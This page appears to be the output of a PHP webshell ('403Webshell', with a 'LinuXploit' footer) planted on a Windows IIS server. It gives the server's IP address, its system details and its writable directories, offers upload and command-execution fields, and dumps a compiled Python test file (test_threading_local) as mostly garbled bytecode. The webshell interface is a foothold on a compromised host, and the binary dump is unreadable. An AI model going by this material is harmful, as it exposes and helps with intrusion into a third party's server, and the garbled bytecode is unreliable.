403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_threading_local.cpython-313.pyc
�

��i��B�SSKrSSKrSSKJr SSKJr SSKJr SSKJ	r	 SSK
r
SSKrSSKrSSK
r
\R"SS9 "SS	\5rS
r"SS5r"S
S\R&\5r"SS\R&\5rSr\S:Xa\R0"5 gg)�N)�DocTestSuite)�support)�threading_helper)�
import_moduleT)�modulec��\rSrSrSrg)�Weak��N��__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r��.C:\Python313\\Lib\test\test_threading_local.pyr	r	s��rr	c�n�[5nX lUR[R"U55 g�N)r	�weak�append�weakref�ref)�local�weaklistrs   r�targetrs#���6�D��J��O�O�G�K�K��%�&rc��\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSr\R$S5rSrg)�
BaseLocalTest�c�j�URS5 URS5 URS5 g)N��2�d)�_local_refs��selfs r�test_local_refs�BaseLocalTest.test_local_refss,����������������rc�r�UR5n/n[U5H=n[R"[X#4S9nUR5 UR
5 M? A[R"5 UR[U5U5 UVs/sHof"5bMUPM nnUR[U5US-
U45 SUl[R"5 UVs/sHof"5bMUPM nnUR[U5US-
U4U[U545 gs snfs snf)N�r�args�)
�_local�range�	threading�Threadr�start�joinr�
gc_collect�assertEqual�len�assertIn�someothervar)r&�nrr�i�tr�deadlists        rr$�BaseLocalTest._local_refs"s������
�����q��A�� � ��e�5F�G�A�
�G�G�I�
�F�F�H��
���������X���*�&.�@�X�T���D�X��@��
�
�c�(�m�a��c�1�X�.�"�������%-�@�X�T���D�X��@��
�
�c�(�m�a��c�1�X��3�x�=�/A�B��A��As�D/�#D/�+D4�:D4c��^^^^�SSKm"U4SjSTR5nU"5mUU4Sjm[R"U4Sj[	S555 SSS5 g!,(df   g=f)Nrc�">�\rSrSrU4SjrSrg)�)BaseLocalTest.test_derived.<locals>.Local�>c�(>�TRS5 g)Ng{�G�z�?)�sleep)r&�times �r�__init__�2BaseLocalTest.test_derived.<locals>.Local.__init__?s����
�
�4� rrN�r
rrrrDr)rCs�r�Localr?>s
���
!�
!rrGc�L>�UTlTRTRU5 gr)�xr4)r9rr&s ��r�f�%BaseLocalTest.test_derived.<locals>.fCs����E�G����U�W�W�a�(rc3�P># �UHn[R"TU4S9v� M g7f)r*N)r/r0)�.0r9rJs  �r�	<genexpr>�-BaseLocalTest.test_derived.<locals>.<genexpr>Hs(����,@�5>��-6�,<�,<�A�Q�D�,Q�5>�s�#&�
)rCr-r�
start_threadsr.)r&rGrJrrCs` @@@r�test_derived�BaseLocalTest.test_derived8s`���
	�	!�D�K�K�	!����	)�
�
+�
+�,@�5:�2�Y�,@�@��@�@�@�s�A#�#
A1c�^^^^^�"SSUR5mSmSm[R"5m[R"5mUUUUU4Sjn[R"US9nUR	5 TR5 [
S5Vs/sH
nT"5PM snmTR5 UR5 URT5 gs snf)Nc��\rSrSrSrg)�7BaseLocalTest.test_derived_cycle_dealloc.<locals>.Local�NrNrrrrrGrVN���rrGFc��>�T"5/nURU5 SUSlA[R"5 TR	5 TR5 [
ST55mg)N�barrc3�D# �UHn[US5(+v� M g7f)�fooN)�hasattr)rMrs  rrN�FBaseLocalTest.test_derived_cycle_dealloc.<locals>.f.<locals>.<genexpr>ds���G��u�W�U�E�2�2�2��s� )rr\rr3�set�wait�all)�cyclerG�e1�e2�locals�passeds �����rrJ�3BaseLocalTest.test_derived_cycle_dealloc.<locals>.fUsZ����W�I�E��L�L��� �E�!�H�L����� ��F�F�H��G�G�I��G��G�G�Fr�rrP)
r-r/�Eventr0r1r`r.r_r2�
assertTrue)	r&rJr:r9rGrcrdrerfs	    @@@@@r�test_derived_cycle_dealloc�(BaseLocalTest.test_derived_cycle_deallocLs����	�D�K�K�	�����
�_�_�
��
�_�_�
��	H�	H�"
���A�&��	���	�
���	�
$)��9�-�9�a�%�'�9�-��
����	����������	.s�Cc���"SSUR5nU"SS9 U"S5 UR[URSS9 UR[URS5 g)Nc��\rSrSrSrSrg)�-BaseLocalTest.test_arguments.<locals>.MyLocal�uc��grr)r&r+�kwargss   rrD�6BaseLocalTest.test_arguments.<locals>.MyLocal.__init__vs��rrNrFrrr�MyLocalrous��
rrtr,)�a)r-�assertRaises�	TypeError)r&rts  r�test_arguments�BaseLocalTest.test_argumentsssQ��	�d�k�k�	�	�!����
����)�T�[�[�A��6����)�T�[�[�!�4rc�^^^^^�STlT"5m[R"5m[R"5mUUU4SjnUUU4Sjn[R"US9nUR	5 TR5 [R"US9nUR	5 UR
5 TR5 UR
5 TRTRTR5 g)Nz No error message set or cleared.c�f>�STlSTlT?TR5 TR5 g)Nr\rZ)rI�yr_r`)rcrd�objs���r�f1�)BaseLocalTest._test_one_class.<locals>.f1�s(����C�E��C�E����F�F�H��G�G�Irc�>�TRnSU<ST<S3Tl[RR	TR5 g![
a
 STlgf=f)NzIncorrectly got value z from class �
�)rI�_failed�sys�stderr�write�AttributeError)r\�cr}r&s ���r�f2�)BaseLocalTest._test_one_class.<locals>.f2�sO���
/��e�e��"%�a�!)����
�
� � ����.��
"�
"�!���
"�s�A	�	A�Arh)	r�r/rir0r1r`r2r_�assertFalse)	r&r�r~r��t1�t2rcrdr}s	``    @@@r�_test_one_class�BaseLocalTest._test_one_class~s����9����c��
�_�_�
��
�_�_�
��	�		/��
�
�R�
(��
���
�
���	�
�
�
�R�
(��
���
�
���	�
����
���	�������t�|�|�4rc�:�URUR5 gr)r�r-r%s r�test_threading_local�"BaseLocalTest.test_threading_local�s�����T�[�[�)rc�P�"SSUR5nURU5 g)Nc��\rSrSrSrSrg)�BBaseLocalTest.test_threading_local_subclass.<locals>.LocalSubclass��(To test that subclasses behave properly.rN�r
rrr�__doc__rrrr�
LocalSubclassr�����:rr�)r-r��r&r�s  r�test_threading_local_subclass�+BaseLocalTest.test_threading_local_subclass�s ��	;�D�K�K�	;����]�+rc�*�U"5nSUlURURSS05 UR[5 0UlSSS5 UR[5 U?SSS5 g!,(df   N/=f!,(df   g=f)N�rI)rIr4�__dict__rvr�)r&�clsr}s   r�_test_dict_attribute�"BaseLocalTest._test_dict_attribute�sm���e������������Q�x�0�
�
�
�~�
.��C�L�/�
�
�
�~�
.���/�
.�/�
.��
.�
.�s�A3�'B�3
B�
Bc�:�URUR5 gr)r�r-r%s r�test_dict_attribute�!BaseLocalTest.test_dict_attribute�s���!�!�$�+�+�.rc�P�"SSUR5nURU5 g)Nc��\rSrSrSrSrg)�ABaseLocalTest.test_dict_attribute_subclass.<locals>.LocalSubclass�r�rNr�rrrr�r��r�rr�)r-r�r�s  r�test_dict_attribute_subclass�*BaseLocalTest.test_dict_attribute_subclass�s ��	;�D�K�K�	;��!�!�-�0rc���"SS5nU"5nUR5UlX"Rl[R"U5nA[
R"5 URU"55 g)Nc��\rSrSrSrg)�.BaseLocalTest.test_cycle_collection.<locals>.X�rNrrrr�Xr��rXrr�)r-rrIrrrr3�assertIsNone)r&r�rI�wrs    r�test_cycle_collection�#BaseLocalTest.test_cycle_collection�sW��	�	�
�C���+�+�-������	�
�[�[��^��
��������"�$�rc��[S5nURSS5 [S5Hn[R"5nM UR5 g)N�	_testcapic��grrrrr�<lambda>�?BaseLocalTest.test_threading_local_clear_race.<locals>.<lambda>�s��TrFi�)r�call_in_temporary_c_threadr.r/r�join_temporary_c_thread)r&r��_s   r�test_threading_local_clear_race�-BaseLocalTest.test_threading_local_clear_race�sF��"�+�.�	��,�,�\�5�A��t��A����!�A��	�)�)�+rc���"SSUR5n"SS5nU"5nUR[S5 URU"5S5 SSS5 g!,(df   g=f)Nc��\rSrSrSrSrg)�&BaseLocalTest.test_error.<locals>.Loop��r,rN)r
rrr�attrrrrr�Loopr��s���Drr�c��\rSrSrSrSrg)�1BaseLocalTest.test_error.<locals>.NameCompareTrue��c��g)NTr)r&�others  r�__eq__�8BaseLocalTest.test_error.<locals>.NameCompareTrue.__eq__�s��rrN)r
rrrr�rrrr�NameCompareTruer��s��
rr�zLoop.*read-only�)r-�assertRaisesRegexr��__setattr__)r&r�r��loops    r�
test_error�BaseLocalTest.test_error�sV��	�4�;�;�	�
	�	��v��
�
#�
#�N�4E�
F����_�.��2�G�
F�
F�s�A�
A,)r�N)r
rrrr'r$rRrkrxr�r�r�r�r�r�r�r�r�cpython_onlyr�rrrrrrs`���
C�,�(% �N	5�"5�H*�,�
�/�1�

 �	,�
���3��3rrc�,�\rSrSr\R
rSrg)�ThreadLocalTest��rN)r
rrr�_threadr-rrrrr�r��s��
�^�^�Frr�c�,�\rSrSr\R
rSrg)�PyThreadingLocalTest��rN)r
rrr�_threading_localrr-rrrrr�r��s
��
�
#�
#�Frr�c�^�UR[S55 [RmSnU4SjnUR	[SX4S95 U$)Nr�c�6�[R[lgr)r�r-r�r)�tests r�setUp�load_tests.<locals>.setUp�s��!(����rc�>�T[lgr)r�r)r��
local_origs �r�tearDown�load_tests.<locals>.tearDown�s���!+��r)r�r�)�addTestrr�r�addTests)�loader�tests�patternr�r�r�s     @r�
load_testsr��sK���	�M�M�,�1�2�3�!�'�'�J�0�,�	�N�N�<� 2�&+�@���Lr�__main__)r��unittest�doctestrr�r�test.supportr�test.support.import_helperrrr�r/r��requires_working_threading�objectr	rr�TestCaser�r�r�r
�mainrrr�<module>r�s���
�� ��)�4������+�+�4�8�	�6�	�'�E3�E3�P�h�'�'���$�8�,�,�m�$���z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit